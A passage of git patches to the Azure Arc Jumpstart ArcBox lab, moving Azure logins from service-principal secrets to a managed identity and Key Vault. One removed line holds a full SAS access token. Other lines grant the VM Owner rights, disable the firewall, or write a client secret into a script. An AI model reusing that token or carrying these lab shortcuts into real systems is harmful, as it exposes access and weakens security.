+++ b/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep @@ -147,6 +147,9 @@ resource vm 'Microsoft.Compute/virtualMachines@2022-03-01' = { name: vmName location: location tags: resourceTags + identity: { + type: 'SystemAssigned' + } properties: { hardwareProfile: { vmSize: flavor == 'DevOps' ? 'Standard_B4ms' : flavor == 'DataOps' ? 'Standard_D8s_v4' : 'Standard_D16s_v4' @@ -208,5 +211,35 @@ resource vmBootstrap 'Microsoft.Compute/virtualMachines/extensions@2022-03-01' = } } +// Add role assignment for the VM: Azure Key Vault Secret Officer role +resource vmRoleAssignment_KeyVaultSecretOfficer 'Microsoft.Authorization/roleAssignments@2022-04-01' = { + name: guid(vm.id, 'Microsoft.Authorization/roleAssignments', 'SecretOfficer') + scope: resourceGroup() + properties: { + principalId: vm.identity.principalId + roleDefinitionId: resourceId('Microsoft.Authorization/roleDefinitions', '4633458b-17de-408a-b874-0445c86b69e6') + } +} + +// Add role assignment for the VM: Azure Key Vault Certificates Officer role +resource vmRoleAssignment_KeyVaultCertificatesOfficer 'Microsoft.Authorization/roleAssignments@2022-04-01' = { + name: guid(vm.id, 'Microsoft.Authorization/roleAssignments', 'CertificatesOfficer') + scope: resourceGroup() + properties: { + principalId: vm.identity.principalId + roleDefinitionId: resourceId('Microsoft.Authorization/roleDefinitions', 'f8a3ddcd-f2b4-4a3e-8f1a-7c6c0b6e8b6') + } +} + +// Add role assignment for the VM: Owner role +resource vmRoleAssignment_Owner 'Microsoft.Authorization/roleAssignments@2022-04-01' = { + name: guid(vm.id, 'Microsoft.Authorization/roleAssignments', 'Owner') + scope: resourceGroup() + properties: { + principalId: vm.identity.principalId + roleDefinitionId: resourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635') + } +} + output adminUsername string = windowsAdminUsername output publicIP string = deployBastion == false ? concat(publicIpAddress.properties.ipAddress) : '' From 0a711f62efce995a9b62dc53353826785d0c1b62 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 7 May 2024 14:11:00 +0200 Subject: [PATCH 110/456] Add key vault deployment module and parameters Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/bicep/mgmt/mgmtArtifacts.bicep | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/azure_jumpstart_arcbox/bicep/mgmt/mgmtArtifacts.bicep b/azure_jumpstart_arcbox/bicep/mgmt/mgmtArtifacts.bicep index f7ea9cf5e7..21e7ebb4d6 100644 --- a/azure_jumpstart_arcbox/bicep/mgmt/mgmtArtifacts.bicep +++ b/azure_jumpstart_arcbox/bicep/mgmt/mgmtArtifacts.bicep @@ -46,6 +46,8 @@ param bastionNetworkSecurityGroupName string = 'ArcBox-Bastion-NSG' @description('DNS Server configuration') param dnsServers array = [] +var keyVaultName = 'arcbox${uniqueString(resourceGroup().id)}' + var security = { name: 'Security(${workspaceName})' galleryName: 'Security' @@ -485,5 +487,14 @@ module policyDeployment './policyAzureArc.bicep' = { } } +module keyVault 'br/public:avm/res/key-vault/vault:0.5.1' = { + name: 'keyVaultDeployment' + params: { + name: keyVaultName + enablePurgeProtection: false + location: location + } +} + output vnetId string = arcVirtualNetwork.id output subnetId string = arcVirtualNetwork.properties.subnets[0].id From 99c9121c49bf6de052ee06b2bb0824d53ac0fdd2 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 7 May 2024 14:12:07 +0200 Subject: [PATCH 111/456] Store secrets in Key Vault Signed-off-by: Jan Egil Ring --- .../artifacts/Bootstrap.ps1 | 35 ++++++++++++++----- 1 file changed, 26 insertions(+), 9 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 51d8a4a5db..08830f0743 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -35,21 +35,13 @@ param ( ) [System.Environment]::SetEnvironmentVariable('adminUsername', $adminUsername, [System.EnvironmentVariableTarget]::Machine) -[System.Environment]::SetEnvironmentVariable('adminPassword', $adminPassword, [System.EnvironmentVariableTarget]::Machine) -[System.Environment]::SetEnvironmentVariable('spnClientID', $spnClientId, [System.EnvironmentVariableTarget]::Machine) -[System.Environment]::SetEnvironmentVariable('spnClientSecret', $spnClientSecret, [System.EnvironmentVariableTarget]::Machine) -[System.Environment]::SetEnvironmentVariable('spnTenantId', $spnTenantId, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('spnAuthority', $spnAuthority, [System.EnvironmentVariableTarget]::Machine) -[System.Environment]::SetEnvironmentVariable('SPN_CLIENT_ID', $spnClientId, [System.EnvironmentVariableTarget]::Machine) -[System.Environment]::SetEnvironmentVariable('SPN_CLIENT_SECRET', $spnClientSecret, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('SPN_TENANT_ID', $spnTenantId, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('SPN_AUTHORITY', $spnAuthority, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('resourceGroup', $resourceGroup, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('AZDATA_USERNAME', $azdataUsername, [System.EnvironmentVariableTarget]::Machine) -[System.Environment]::SetEnvironmentVariable('AZDATA_PASSWORD', $azdataPassword, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('ACCEPT_EULA', $acceptEula, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('registryUsername', $registryUsername, [System.EnvironmentVariableTarget]::Machine) -[System.Environment]::SetEnvironmentVariable('registryPassword', $registryPassword, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('arcDcName', $arcDcName, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('subscriptionId', $subscriptionId, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('azureLocation', $azureLocation, [System.EnvironmentVariableTarget]::Machine) @@ -126,7 +118,7 @@ Resize-Partition -DriveLetter C -Size $(Get-PartitionSupportedSize -DriveLetter Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force Install-Module -Name Microsoft.PowerShell.PSResourceGet -Force -$modules = @("Az", "Az.ConnectedMachine", "Az.ConnectedKubernetes", "Az.CustomLocation", "Azure.Arc.Jumpstart.Common", "Posh-SSH", "Pester") +$modules = @("Az", "Az.ConnectedMachine", "Az.ConnectedKubernetes", "Az.CustomLocation", "Azure.Arc.Jumpstart.Common", "Microsoft.PowerShell.SecretManagement", "Posh-SSH", "Pester") foreach ($module in $modules) { Install-PSResource -Name $module -Scope AllUsers -Quiet -AcceptLicense -TrustRepository @@ -135,6 +127,31 @@ foreach ($module in $modules) { # Temporary workaround for Posh-SSH module due to: https://github.com/darkoperator/Posh-SSH/issues/558 Install-PSResource -Name Posh-SSH -Scope AllUsers -Quiet -AcceptLicense -TrustRepository -Prerelease +# Add Key Vault Secrets +Connect-AzAccount -Identity + +$KeyVault = Get-AzKeyVault -ResourceGroupName $env:resourceGroup + +# Set Key Vault Name as an environment variable (used by DevOps flavor) +[System.Environment]::SetEnvironmentVariable('keyVaultName', $KeyVault.VaultName, [System.EnvironmentVariableTarget]::Machine) + +# Import required module +Import-Module Microsoft.PowerShell.SecretManagement + +# Register the Azure Key Vault as a secret vault if not already registered +# Ensure you have installed the SecretManagement and SecretStore modules along with the Key Vault extension + +if (-not (Get-SecretVault -Name $KeyVault.VaultName -ErrorAction Ignore)) { + Register-SecretVault -Name $KeyVault.VaultName -ModuleName Az.KeyVault -VaultParameters @{ AZKVaultName = $KeyVault.VaultName } -DefaultVault +} + +Set-Secret -Name adminPassword -Secret test $adminPassword +Set-Secret -Name AZDATA_PASSWORD -Secret test $azdataPassword +Set-Secret -Name registryPassword -Secret test $registryPassword + +Write-Output "Added the following secrets to Azure Key Vault" +Get-SecretInfo + # Installing DHCP service Write-Output "Installing DHCP service" Install-WindowsFeature -Name "DHCP" -IncludeManagementTools From a2369afcd6373e162b2153a35628650bd01fff99 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 7 May 2024 14:12:25 +0200 Subject: [PATCH 112/456] Refactor Azure CLI/PS login process to use Managed Identity Signed-off-by: Jan Egil Ring --- .../artifacts/DataOpsLogonScript.ps1 | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index f590e78197..ba98390998 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -27,14 +27,15 @@ Set-NetFirewallProfile -Profile Domain, Public, Private -Enabled False # Required for azcopy Write-Header "Az PowerShell Login" -$azurePassword = ConvertTo-SecureString $Env:spnClientSecret -AsPlainText -Force -$psCred = New-Object System.Management.Automation.PSCredential($Env:spnClientID , $azurePassword) -Connect-AzAccount -Credential $psCred -TenantId $Env:spnTenantId -ServicePrincipal +Connect-AzAccount -Identity -Tenant $env:spntenantId -Subscription $env:subscriptionId # Required for CLI commands Write-Header "Az CLI Login" -az login --service-principal --username $Env:spnClientID --password $Env:spnClientSecret --tenant $Env:spnTenantId -az account set -s $Env:subscriptionId +az login --identity --tenant $spnTenantId +az account set -s $env:subscriptionId + +# Retrieve Azure Key Vault secrets and store as runtime environment variables +$Env:AZDATA_PASSWORD = Get-Secret -Name 'AZDATA_PASSWORD' -AsPlainText # Register Azure providers Write-Header "Registering Providers" @@ -173,9 +174,9 @@ Stop-Transcript # - Deploying data services on CAPI cluster ################################################ -$kubectlMonShellCapi = Start-Process -PassThru PowerShell { $host.ui.RawUI.WindowTitle = 'CAPI Cluster'; for (0 -lt 1) { kubectl get pods -n arc --kubeconfig "C:\Users\$Env:USERNAME\.kube\config-capi" ; Start-Sleep -Seconds 5; Clear-Host } } -$kubectlMonShellAKS = Start-Process -PassThru PowerShell { $host.ui.RawUI.WindowTitle = 'AKS Cluster'; for (0 -lt 1) { kubectl get pods -n arc --kubeconfig "C:\Users\$Env:USERNAME\.kube\config-aks" ; Start-Sleep -Seconds 5; Clear-Host } } -$kubectlMonShellAKSDr = Start-Process -PassThru PowerShell { $host.ui.RawUI.WindowTitle = 'AKS-DR Cluster'; for (0 -lt 1) { kubectl get pods -n arc --kubeconfig "C:\Users\$Env:USERNAME\.kube\config-aksdr" ; Start-Sleep -Seconds 5; Clear-Host } } +$kubectlMonShellCapi = Start-Process -PassThru pwsh { $host.ui.RawUI.WindowTitle = 'CAPI Cluster'; for (0 -lt 1) { kubectl get pods -n arc --kubeconfig "C:\Users\$Env:USERNAME\.kube\config-capi" ; Start-Sleep -Seconds 5; Clear-Host } } +$kubectlMonShellAKS = Start-Process -PassThru pwsh { $host.ui.RawUI.WindowTitle = 'AKS Cluster'; for (0 -lt 1) { kubectl get pods -n arc --kubeconfig "C:\Users\$Env:USERNAME\.kube\config-aks" ; Start-Sleep -Seconds 5; Clear-Host } } +$kubectlMonShellAKSDr = Start-Process -PassThru pwsh { $host.ui.RawUI.WindowTitle = 'AKS-DR Cluster'; for (0 -lt 1) { kubectl get pods -n arc --kubeconfig "C:\Users\$Env:USERNAME\.kube\config-aksdr" ; Start-Sleep -Seconds 5; Clear-Host } } Write-Header "Deploying Azure Arc Data Controller" $clusters | Foreach-Object -ThrottleLimit 5 -Parallel { From 293f1ca95d0354d224e15327329765b1b94d2340 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 7 May 2024 14:13:10 +0200 Subject: [PATCH 113/456] Refactor Azure CLI/PS login process to use Managed Identity. Leverage Key Vault deployed using IaC. Signed-off-by: Jan Egil Ring --- .../artifacts/DevOpsLogonScript.ps1 | 22 +++---------------- 1 file changed, 3 insertions(+), 19 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index 93fde13a70..b60a8d6f8b 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -18,9 +18,7 @@ $appClonedRepo = "https://github.com/$Env:githubUser/azure-arc-jumpstart-apps" Start-Transcript -Path $Env:ArcBoxLogsDir\DevOpsLogonScript.log # Required for azcopy and Get-AzResource -$azurePassword = ConvertTo-SecureString $Env:spnClientSecret -AsPlainText -Force -$psCred = New-Object System.Management.Automation.PSCredential($Env:spnClientID , $azurePassword) -Connect-AzAccount -Credential $psCred -TenantId $Env:spnTenantId -ServicePrincipal +Connect-AzAccount -Identity -Tenant $env:spntenantId -Subscription $env:subscriptionId $cliDir = New-Item -Path "$Env:ArcBoxDir\.cli\" -Name ".devops" -ItemType Directory @@ -36,7 +34,8 @@ $Env:capiArcDataClusterName=$Env:capiArcDataClusterName -replace "`n","" # Required for CLI commands Write-Header "Az CLI Login" -az login --service-principal --username $Env:spnClientID --password=$Env:spnClientSecret --tenant $Env:spnTenantId +az login --identity --tenant $spnTenantId +az account set -s $env:subscriptionId # Downloading CAPI Kubernetes cluster kubeconfig file Write-Header "Downloading CAPI K8s Kubeconfig" @@ -88,21 +87,6 @@ Write-Header "Adding Tools Folder to PATH" [System.Environment]::SetEnvironmentVariable('PATH', $Env:PATH + ";$Env:ToolsDir" ,[System.EnvironmentVariableTarget]::Machine) $Env:PATH += ";$Env:ToolsDir" -# Create random 13 character string for Key Vault name -$strLen = 13 -$randStr = (-join ((0x30..0x39) + (0x61..0x7A) | Get-Random -Count $strLen | ForEach-Object {[char]$_})) -$Env:keyVaultName = "ArcBox-KV-$randStr" - -[System.Environment]::SetEnvironmentVariable('keyVaultName', $Env:keyVaultName, [System.EnvironmentVariableTarget]::Machine) - -# Create Azure Key Vault -Write-Header "Creating Azure KeyVault" -az keyvault create --name $Env:keyVaultName --resource-group $Env:resourceGroup --location $Env:azureLocation - -# Allow SPN to import certificates into Key Vault -Write-Header "Setting KeyVault Access Policies" -az keyvault set-policy --name $Env:keyVaultName --spn $Env:spnClientID --key-permissions --secret-permissions get --certificate-permissions get list import - # Making extension install dynamic az config set extension.use_dynamic_install=yes_without_prompt Write-Host "`n" From d5bdf76ccd46d0f6db17da08bb65aaea1212715a Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 14 May 2024 11:05:05 +0200 Subject: [PATCH 114/456] Removed SAS token for VHD downloads Signed-off-by: Jan Egil Ring --- .../artifacts/ArcServersLogonScript.ps1 | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 4aed5eb96d..bb8f3e812e 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -13,8 +13,7 @@ $azureLocation = $env:azureLocation $resourceGroup = $env:resourceGroup # Moved VHD storage account details here to keep only in place to prevent duplicates. -$vhdSourceFolder = "https://jsvhds.blob.core.windows.net/arcbox" -$sas = "*?si=ArcBox-RL&spr=https&sv=2022-11-02&sr=c&sig=vg8VRjM00Ya%2FGa5izAq3b0axMpR4ylsLsQ8ap3BhrnA%3D" +$vhdSourceFolder = "https://jsvhds.blob.core.windows.net/arcbox/*" # Archive existing log file and create new one $logFilePath = "$Env:ArcBoxLogsDir\ArcServersLogonScript.log" @@ -184,7 +183,7 @@ if ($Env:flavor -ne "DevOps") { $Env:AZCOPY_BUFFER_GB = 4 # Other ArcBox flavors does not have an azcopy network throughput capping Write-Output "Downloading nested VMs VHDX file for SQL. This can take some time, hold tight..." - azcopy cp $vhdSourceFolder/$sas --include-pattern "${SQLvmName}.vhdx" $Env:ArcBoxVMDir --check-length=false --cap-mbps 1200 --log-level=ERROR + azcopy cp $vhdSourceFolder --include-pattern "${SQLvmName}.vhdx" $Env:ArcBoxVMDir --check-length=false --cap-mbps 1200 --log-level=ERROR } # Create the nested VMs if not already created @@ -337,12 +336,12 @@ if ($Env:flavor -ne "DevOps") { if ($Env:flavor -eq "Full") { # The "Full" ArcBox flavor has an azcopy network throughput capping Write-Output "Downloading nested VMs VHDX files. This can take some time, hold tight..." - azcopy cp $vhdSourceFolder/$sas $Env:ArcBoxVMDir --include-pattern "${Win2k19vmName}.vhdx;${Win2k22vmName}.vhdx;${Ubuntu01vmName}.vhdx;${Ubuntu02vmName}.vhdx;" --recursive=true --check-length=false --cap-mbps 1200 --log-level=ERROR + azcopy cp $vhdSourceFolder $Env:ArcBoxVMDir --include-pattern "${Win2k19vmName}.vhdx;${Win2k22vmName}.vhdx;${Ubuntu01vmName}.vhdx;${Ubuntu02vmName}.vhdx;" --recursive=true --check-length=false --cap-mbps 1200 --log-level=ERROR } else { # Other ArcBox flavors does not have an azcopy network throughput capping Write-Output "Downloading nested VMs VHDX files. This can take some time, hold tight..." - azcopy cp $vhdSourceFolder/$sas $Env:ArcBoxVMDir --include-pattern "${Win2k19vmName}.vhdx;${Win2k22vmName}.vhdx;${Ubuntu01vmName}.vhdx;${Ubuntu02vmName}.vhdx;" --recursive=true --check-length=false --log-level=ERROR + azcopy cp $vhdSourceFolder $Env:ArcBoxVMDir --include-pattern "${Win2k19vmName}.vhdx;${Win2k22vmName}.vhdx;${Ubuntu01vmName}.vhdx;${Ubuntu02vmName}.vhdx;" --recursive=true --check-length=false --log-level=ERROR } } From 73815bdebc15e6d370b25b47d85ff7f595d81379 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 21 May 2024 13:47:43 +0200 Subject: [PATCH 115/456] Bugfix for tenant ID value. Optimized variable references. Signed-off-by: Jan Egil Ring --- .../artifacts/ArcServersLogonScript.ps1 | 10 +++++----- azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 | 3 +-- 2 files changed, 6 insertions(+), 7 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index bb8f3e812e..82efcab862 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -133,10 +133,10 @@ if ($Env:flavor -ne "DevOps") { # Required for CLI commands Write-Header "Az CLI Login" az login --identity --tenant $spnTenantId - az account set -s $env:subscriptionId + az account set -s $subscriptionId Write-Header "Az PowerShell Login" - Connect-AzAccount -Identity -Tenant $env:spntenantId -Subscription $env:subscriptionId + Connect-AzAccount -Identity -Tenant $spnTenantId -Subscription $subscriptionId # Register Azure providers Write-Header "Registering Providers" @@ -375,7 +375,7 @@ if ($Env:flavor -ne "DevOps") { Copy-VMFile $Win2k22vmName -SourcePath "$agentScript\installArcAgent.ps1" -DestinationPath "$Env:ArcBoxDir\installArcAgent.ps1" -CreateFullPath -FileSource Host -Force # Create appropriate onboard script to SQL VM depending on whether or not the Service Principal has permission to peroperly onboard it to Azure Arc - (Get-Content -path "$agentScript\installArcAgentUbuntu.sh" -Raw) -replace '\$spnClientId', "'$Env:spnClientId'" -replace '\$spnClientSecret', "'$Env:spnClientSecret'" -replace '\$resourceGroup', "'$Env:resourceGroup'" -replace '\$spnTenantId', "'$Env:spnTenantId'" -replace '\$azureLocation', "'$Env:azureLocation'" -replace '\$subscriptionId', "'$Env:subscriptionId'" | Set-Content -Path "$agentScript\installArcAgentModifiedUbuntu.sh" + (Get-Content -path "$agentScript\installArcAgentUbuntu.sh" -Raw) -replace '\$spnClientId', "'$Env:spnClientId'" -replace '\$spnClientSecret', "'$Env:spnClientSecret'" -replace '\$resourceGroup', "'$resourceGroup'" -replace '\$spnTenantId', "'$Env:spnTenantId'" -replace '\$azureLocation', "'$Env:azureLocation'" -replace '\$subscriptionId', "'$subscriptionId'" | Set-Content -Path "$agentScript\installArcAgentModifiedUbuntu.sh" # Copy installation script to nested Linux VMs Write-Output "Transferring installation script to nested Linux VMs..." @@ -416,10 +416,10 @@ if ($Env:flavor -ne "DevOps") { $VMs | ForEach-Object -Parallel { - $null = Connect-AzAccount -Identity -Tenant $env:spntenantId -Subscription $env:subscriptionId -Scope Process -WarningAction SilentlyContinue + $null = Connect-AzAccount -Identity -Tenant $spntenantId -Subscription $subscriptionId -Scope Process -WarningAction SilentlyContinue $vm = $PSItem - $connectedMachine = Get-AzConnectedMachine -Name $vm -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId + $connectedMachine = Get-AzConnectedMachine -Name $vm -ResourceGroupName $resourceGroup -SubscriptionId $subscriptionId $connectedMachineEndpoint = (Invoke-AzRestMethod -Method get -Path "$($connectedMachine.Id)/providers/Microsoft.HybridConnectivity/endpoints/default?api-version=2023-03-15").Content | ConvertFrom-Json diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 08830f0743..f7c78c1dc6 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -36,8 +36,7 @@ param ( [System.Environment]::SetEnvironmentVariable('adminUsername', $adminUsername, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('spnAuthority', $spnAuthority, [System.EnvironmentVariableTarget]::Machine) -[System.Environment]::SetEnvironmentVariable('SPN_TENANT_ID', $spnTenantId, [System.EnvironmentVariableTarget]::Machine) -[System.Environment]::SetEnvironmentVariable('SPN_AUTHORITY', $spnAuthority, [System.EnvironmentVariableTarget]::Machine) +[System.Environment]::SetEnvironmentVariable('spnTenantId', $spnTenantId, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('resourceGroup', $resourceGroup, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('AZDATA_USERNAME', $azdataUsername, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('ACCEPT_EULA', $acceptEula, [System.EnvironmentVariableTarget]::Machine) From ec108483842737002ff744fa5f6f3ab3986a9f7e Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 21 May 2024 20:27:23 +0200 Subject: [PATCH 116/456] Bugfixes - identity and SSH enabling Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 82efcab862..c6ae2423c7 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -132,7 +132,7 @@ if ($Env:flavor -ne "DevOps") { # Required for CLI commands Write-Header "Az CLI Login" - az login --identity --tenant $spnTenantId + az login --identity az account set -s $subscriptionId Write-Header "Az PowerShell Login" @@ -415,6 +415,9 @@ if ($Env:flavor -ne "DevOps") { $VMs = @("ArcBox-SQL", "ArcBox-Ubuntu-01", "ArcBox-Ubuntu-02", "ArcBox-Win2K19", "ArcBox-Win2K22") $VMs | ForEach-Object -Parallel { + $spnTenantId = $Using:spnTenantId + $subscriptionId = $Using:subscriptionId + $resourceGroup = $Using:resourceGroup $null = Connect-AzAccount -Identity -Tenant $spntenantId -Subscription $subscriptionId -Scope Process -WarningAction SilentlyContinue From 1f363500d9161ac2a0d940737dcf91e0a48873a6 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 21 May 2024 20:27:35 +0200 Subject: [PATCH 117/456] Bugfix - authentication for tests Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/tests/common.tests.ps1 | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/tests/common.tests.ps1 b/azure_jumpstart_arcbox/artifacts/tests/common.tests.ps1 index 176292d6c5..80fa058aa2 100644 --- a/azure_jumpstart_arcbox/artifacts/tests/common.tests.ps1 +++ b/azure_jumpstart_arcbox/artifacts/tests/common.tests.ps1 @@ -1,8 +1,7 @@ BeforeDiscovery { - $spnpassword = ConvertTo-SecureString $env:spnClientSecret -AsPlainText -Force - $spncredential = New-Object System.Management.Automation.PSCredential ($env:spnClientId, $spnpassword) - $null = Connect-AzAccount -ServicePrincipal -Credential $spncredential -Tenant $env:spntenantId -Subscription $env:subscriptionId + $null = Connect-AzAccount -Identity -Tenant $env:spntenantId -Subscription $env:subscriptionId + } Describe "ArcBox resource group" { From 35141e93439eeab9a73a08413b6ae0e78b7f48aa Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 21 May 2024 20:28:04 +0200 Subject: [PATCH 118/456] Bugfix - resource group name Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index f7c78c1dc6..f4466a3811 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -129,7 +129,7 @@ Install-PSResource -Name Posh-SSH -Scope AllUsers -Quiet -AcceptLicense -TrustRe # Add Key Vault Secrets Connect-AzAccount -Identity -$KeyVault = Get-AzKeyVault -ResourceGroupName $env:resourceGroup +$KeyVault = Get-AzKeyVault -ResourceGroupName $resourceGroup # Set Key Vault Name as an environment variable (used by DevOps flavor) [System.Environment]::SetEnvironmentVariable('keyVaultName', $KeyVault.VaultName, [System.EnvironmentVariableTarget]::Machine) @@ -144,9 +144,9 @@ if (-not (Get-SecretVault -Name $KeyVault.VaultName -ErrorAction Ignore)) { Register-SecretVault -Name $KeyVault.VaultName -ModuleName Az.KeyVault -VaultParameters @{ AZKVaultName = $KeyVault.VaultName } -DefaultVault } -Set-Secret -Name adminPassword -Secret test $adminPassword -Set-Secret -Name AZDATA_PASSWORD -Secret test $azdataPassword -Set-Secret -Name registryPassword -Secret test $registryPassword +Set-Secret -Name adminPassword -Secret $adminPassword +Set-Secret -Name AZDATA_PASSWORD -Secret $azdataPassword +Set-Secret -Name registryPassword -Secret $registryPassword Write-Output "Added the following secrets to Azure Key Vault" Get-SecretInfo From 25e540d4c678438831b3ab0425d4df2d72996da8 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 21 May 2024 21:44:41 +0200 Subject: [PATCH 119/456] Bugfix - role definition ID Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep b/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep index c6c4c441cf..51a643c2ca 100644 --- a/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep +++ b/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep @@ -227,7 +227,7 @@ resource vmRoleAssignment_KeyVaultCertificatesOfficer 'Microsoft.Authorization/r scope: resourceGroup() properties: { principalId: vm.identity.principalId - roleDefinitionId: resourceId('Microsoft.Authorization/roleDefinitions', 'f8a3ddcd-f2b4-4a3e-8f1a-7c6c0b6e8b6') + roleDefinitionId: resourceId('Microsoft.Authorization/roleDefinitions', 'a4417e6f-fecd-4de8-b567-7b0420556985') } } From 7ce547a6fbb1bd00db7c7db4da2c4e6780d596a7 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 21 May 2024 21:45:26 +0200 Subject: [PATCH 120/456] Bugfix - authentication for ITPro tests Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/tests/itpro.tests.ps1 | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/tests/itpro.tests.ps1 b/azure_jumpstart_arcbox/artifacts/tests/itpro.tests.ps1 index d2b4ec7287..3596e5304b 100644 --- a/azure_jumpstart_arcbox/artifacts/tests/itpro.tests.ps1 +++ b/azure_jumpstart_arcbox/artifacts/tests/itpro.tests.ps1 @@ -2,10 +2,8 @@ BeforeDiscovery { $VMs = @("ArcBox-SQL", "ArcBox-Ubuntu-01", "ArcBox-Ubuntu-02","ArcBox-Win2K19","ArcBox-Win2K22") - $spnpassword = ConvertTo-SecureString $env:spnClientSecret -AsPlainText -Force - $spncredential = New-Object System.Management.Automation.PSCredential ($env:spnClientId, $spnpassword) + $null = Connect-AzAccount -Identity -Tenant $env:spntenantId -Subscription $env:subscriptionId - $null = Connect-AzAccount -ServicePrincipal -Credential $spncredential -Tenant $env:spntenantId -Subscription $env:subscriptionId } # Assert that the Hyper-V virtual machines in $VMs exists, are running and connected as Azure Arc-enabled servers From f83e02b79a8396784a11daa28402d55897aa65a0 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Wed, 29 May 2024 14:59:20 -0400 Subject: [PATCH 121/456] replace capi --- .../artifacts/Bootstrap.ps1 | 10 +- .../artifacts/DevOpsLogonScript.ps1 | 76 +- .../gitops_scripts/ResetBookstore.ps1 | 4 +- 